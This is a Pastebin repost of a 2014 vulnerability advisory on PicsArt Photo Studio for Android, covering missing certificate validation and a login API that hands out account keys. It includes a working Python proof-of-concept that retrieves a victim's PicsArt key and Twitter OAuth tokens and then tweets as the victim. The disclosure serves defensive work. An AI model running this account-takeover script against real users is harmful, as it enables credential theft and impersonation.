Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Insecure management of login credentials in PicsArt Photo Studio for
- Android
- 1. *Advisory Information*
- Title: Insecure management of login credentials in PicsArt Photo
- Studio for Android
- Advisory ID: STIC-2014-0426
- Advisory URL: http://www.fundacionsadosky.org.ar/publicaciones-2
- Date published: 2014-11-06
- Date of last update: 2014-11-06
- Vendors contacted: PicsArt
- Release mode: Unilateral release
- 2. *Vulnerability Information*
- Class: Improper Certificate Validation [CWE-295], Insufficiently
- Protected Credentials [CWE-522]
- Impact: Data loss
- Remotely Exploitable: Yes
- Locally Exploitable: Yes
- CVE Identifier: CVE-2014-5674, CVE-2014-NOCVE
- 3. *Vulnerability Description*
- PicsArt Photo Studio is a free and full featured photo-editing and
- drawing mobile app available on Android, iOS and Windows Phone. As of
- October, 2014 the Android version of the app had between 100 and 500
- million downloads from the Google Play store. According to the vendor
- the app has been installed more than 175 million times, has a 7
- million monthly growth and more than 45 million monthly active
- users[1]. Users can take, edit, publish and share photos on the
- PicsArt website and on popular social networks such as Facebook,
- Twitter and Google+ directly from the mobile app.
- Originally the PicsArt application for Android[2] did not use HTTPS to
- send security-sensitve information to the servers, allowing attackers
- to hijack PicsArt user accounts simply by capturing network traffic.
- After our original report to the vendor in May 2014, the app started
- using HTTPS but it does not validate the server's SSL certificate,
- allowing an attacker to perform Man-In-The-Middle attacks. PicsArt
- user accounts can still be hijacked by capturing the user id sent as
- value of the 'key' parameter in certain HTTPS GET requests.
- Additionally, a user can sign up to PicsArt using her Facebook,
- Twitter or Google+ account or using a standard email and password
- scheme. When the user signs up using a third party social network
- account, the user ID and access token obtained from those social
- networks are sent to the PicsArt servers to identify the user during
- the login phase.
- This implies that the PicsArt servers, not just the PicsArt Photo
- Studio application running on thte user's device, can impersonate the
- user on the social networks. However the PicsArt server API does not
- verify if the user's Google+, Facebook or Twitter access token is
- valid during the login of the Android application. As a result, an
- attacker can send a login request providing only a social network ID
- to obtain the PicsArt's credentials associated to that
- Google+/Facebook/Twitter user. This allows the attacker to obtain
- access to any user account created from a social network account. The
- attacker can also steal access tokens of PicsArt users to third party
- social networks such as Facebook, Twitter, Google+, etc. This issue
- affects all PicsArt user's who access their account via
- Google+/Facebook/Twitter.
- 4. *Vulnerable packages*
- . PicsArt Photo Studio for Android application prior or equal to
- version 4.6.12 and greater than 4.6.3 uses HTTPS but does not validate
- the SSL server certificate.
- . PicsArt Photo Studio for Android application prior to version
- 4.6.3 and greater than 4.2.2 uses both HTTP and HTTPS and does not
- validate the SSL server certificate.
- . PicsArt Photo Studio for Android application prior to version
- 4.2.2 does not use HTTPS to receive and transmit security sensitive data.
- 5. *Vendor Information, Solutions and Workarounds*
- After the initial report to the vendor, PicsArt released version
- 4.2.2. This version started using HTTPS for most, but not all, of the
- server API. Since 4.6.3 there are no API methods that leak the user's
- session key using HTTP. Adding HTTPS communication to the server in
- 4.2.2 didn't help fixing the problem since the application lacks of
- certificate validation allowing Man-in-the-Middle attacks. Despite
- several notifications sent to PicsArt, the last veersion (4.6.12, as of
- publication of this advisory) is still missing proper certificate
- validation checks.
- The server API is still missing the validation of the login access
- token.
- A workaround to prevent attackers from compromising a PicsArt user's
- Facebook, Twitter or Google+ account is to disable the PicsArt
- application access to their profile. From Facebook or Twitter go to
- "Settings|App" and remove PicsArt application from the list of apps.
- For Google+ go to "Account|Security|Apps and websites" and click on
- revoke access on PicsArt application.
- PicsArt users concerned about their privacy or the security of their
- account should stop using the Andorid application until patches with
- proper SSL certificate validation are issued by the vendor nad the
- Server APIs fixed.
- 6. *Credits*
- This vulnerability was discovered and researched by Joaquín Manuel
- Rinaudo. The publication of this advisory was coordinated by Programa
- de Seguridad en TIC.
- Will Dormann of CERT/CC independently discovered the SSL certificate
- validation vulnerability using the CERT Tapioca tool.[5]
- 7. *Technical Description*
- A user can sign up to PicsArt using her Facebook[3], Twitter[4] or
- Google+ account or using a standard email and password scheme.
- When a user signs using a social network, the PicsArt application
- uses the OAuth protocol to communicate with that site.
- If the user authorizes it, the PicSart application is provided with
- an access token from either Facebook, Twitter or Google+ that can be
- used to retrieve personal information or perform actions on behalf of
- that user.
- The application then uploads the access token to the PicsArt servers
- along with the ID of that user so that the server can create a new
- account associated to the user. Up to PicsArt version 4.2.2, this
- communication was done entirely over HTTP. An attacker capturing the
- request to 'http://api.picsart.com/users/signin.json' could retrieve
- the access token of Facebook, Twittter and Google+ as well as hijack
- the session token of PicsArt for that user. After our report to
- PicsArt, use of HTTPS was introduced by the vendor in version 4.6.3 in
- an attempt to prevent man-in-the-middle attacks as well as session
- hijacking. Unfortunately, adoption of HTTPS did not fix the problems.
- In version of the PicsArt Photo Studio app that use HTTPS, the
- socket object used to perform the secure connection uses a custom
- X509TrustManager. The TrustManager's task is to check the certificate
- presented by the server in order to prevent Man-in-the-Middle attacks.
- The class 'com.socialin.android.util.w' sets the default
- SSLsocketFactory used in the application to an empty TrustManager and
- the default HostnameVerifier to a dummy one. Because of that, any
- certificate presented by the server will be considered valid. This
- allows an attacker to mount a MITM attack intercepting traffic,
- creating fake X509 certificates on the fly and submitting them to
- PicsArt's Android application.
- Moreover, up to version 4.6.3 some requests performed by the
- application were still obtained using HTTP. For example, when a user
- opens the application, a request over HTTP to
- 'https://api.picsart.com/users/show/me.json' to obtain user
- information. Since requests that contains the user key as a parameter
- like this are being sent to the server, session hijacking is possible
- by simply capturing traffic. This was fixed in the version 4.6.3.
- Additional problems were found by inspecting how the PicsArt Photo
- Studio app uses the server API. When a user logs in with a social
- network account using the Android application, a HTTP POST request
- containing the user's access token and other information such as his
- name, user name, mail and a user identifier for the social network is
- sent to the PicsArt servers. The server API doesn't verify whether the
- access token provided is valid for an already created account and
- responds with the user key associated to the provided social network
- ID. This allows an attacker to obtain access to other user's PicsArt
- account by just knowing their user name on third party social networks.
- An attacker can also obtain the user's access tokens to third party
- social networks linked to their profile by requesting the user's
- profile information using the key provided in the previously described
- step. For example, if a user's has her Twitter account linked to her
- PicsArt account, the server's response to the profile information will
- contain the user's OAUTH_TOKEN and OAUTH_TOKEN_SECRET for Twitter.
- Since the Android's PicsArt application contains the APP_KEY and
- APP_SECRET embedded in the client code, an attacker has all the
- information needed to impersonate the client app and obtain access to
- a user's Twitter. Since the application has read and write permissions
- in that social network, an attacker could perform status updates.
- similar attacks are possible on other social networks such as Facebook
- and Google+.
- A sample proof-of-concept Python script to demonstrate that, knowing
- only a PicsArt user's Twitter ID, it is possible to retrieve the
- user's key from the PicsArt server API, use it get the user's access
- token for Twitter and then tweet with her/his account is shown below:
- /-----
- import sys
- import urllib
- import urllib2
- from twython import Twython
- import json
- import traceback
- APP_KEY='<PICSART APP APPKEY>'
- APP_SECRET='<PICSART APP SECRET>'
- OAUTH_TOKEN=''
- OAUTH_TOKEN_SECRET=''
- def obtain_key(twitter_id):
- url = 'https://api.picsart.com/users/signin.json'
- only_twitter_id =
- '''{"id":"%s","token_secret":"","profile_url":"","screen_name":"","token":"","name":""}'''
- %twitter_id
- data = 'token=&auth='+ urllib.quote(only_twitter_id)+'&provider=twitter'
- req = urllib2.Request(url, data)
- response = urllib2.urlopen(req)
- jsonobject = json.loads(response.read())
- return jsonobject['key']
- def obtain_twitter_token(key):
- url = '''https://api.picsart.com/connections/show/me.json?key=%s''' %key
- response = urllib2.urlopen(url)
- data = json.loads(response.read())
- print data
- global OAUTH_TOKEN
- OAUTH_TOKEN = data['response'][0]['token']
- global OAUTH_TOKEN_SECRET
- OAUTH_TOKEN_SECRET = data['response'][0]['data']['token_secret']
- def post_on_twitter():
- twitter = Twython(APP_KEY, APP_SECRET,OAUTH_TOKEN, OAUTH_TOKEN_SECRET)
- print twitter.verify_credentials()
- twitter.update_status(status='Using twitter!')
- if __name__ == '__main__':
- if len(sys.argv) < 1:
- print "No Twitter ID specified"
- exit(0)
- userKey =obtain_key(sys.argv[1])
- print "User key for accessing user's Picsart account is %s" %userKey
- try:
- obtain_twitter_token(userKey)
- post_on_twitter()
- except:
- traceback.print_exc()
- print "Failed accessing user's Twitter account"
- pass
- - -----/
- 8. *Report Timeline*
- . 2014-05-05:
- Programa de Seguridad en TIC sent the vendor a description of the
- vulnerabilities found: the improper server validation of access tokens
- and the use of unencrypted HTTP communication with the server.
- . 2014-05-07:
- PicsArt indicated that the problems where already known and that due
- to previous technical problems the application had switched temporary
- to HTTP but that the new release, 4.2.2, HTTPS would be back.
- . 2014-05-07:
- The researcher communicated to PicsArt about having inspected the
- updated app and that although the communication was HTTPS, certificate
- validation was missing. Furthermore, Programa de Seguridad en TIC
- communicated the vendor that the improper validation of the login
- process was still an issue. The vendor was informed about a tentative
- date for May 21st set for publishing the advisory.
- . 2014-06-05:
- After receiving no response, Programa de Seguridad en TIC asked
- PicsArt about plans to fix the issues discussed.
- . 2014-06-05:
- PicsArt notified that they were releasing a version into beta with
- fixed security and other features but with no explanation as to what
- was being fixed.
- . 2014-09-11:
- Programade Seguridad en TIC added the Computer Emergency Response
- Team to the conversation since they had also identified and notified
- PicsArt of the SSL certificate validation bug as part of their CERT
- TAPIOCA project [5].
- . 2014-09-11:
- Vendor assured that a new release (4.6.3) was being deployed where
- the user key was not being transmitted over HTTP in version and that
- they were testing new bug fixes.
- . 2014-09-16:
- Programa de Seguridad en TIC asked for an estimated release of the
- application and informed to the vendor that the application was using
- an external library to implement their client side API transport ([6])
- and this was one of the sources for the problem of not validating the
- certificates properly since they were explicitly calling library
- methods for skipping the validation process.
- . 2014-09-17:
- Vendor sent the researcher a new beta version where the external
- library wasn't instructed to avoid validating certificates.
- . 2014-09-18:
- Programa de Seguridad en TIC notified that the server validation and
- the HTTPS vulnerabilities were still unfixed. The latter was because
- the application was still defining the default SSLSocketFactory and
- HostnameVerifier in an insecure way. Researcher pointed the vendor to
- the class originating this definitions.
- . 2014-11-06:
- Advisory was released.
- 9. *References*
- [1] About PicsArt.
- http://picsart.com/about
- [2] PicsArt Photo Studio.
- https://play.google.com/store/apps/details?id=com.picsart.studio
- [3] Facebook Login for Android.
- https://developers.facebook.com/docs/android/login-with-facebook/v2.2
- [4] Sign in with Twitter.
- https://dev.twitter.com/web/sign-in
- [5] Vulnerability Note VU#582497. Multiple Android applications fail
- to properly validate SSL certificates.
- http://www.kb.cert.org/vuls/id/582497
- [6] Java HTTP Request Library.
- https://github.com/kevinsawicki/http-request
- # 0day.today [2016-07-13] #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement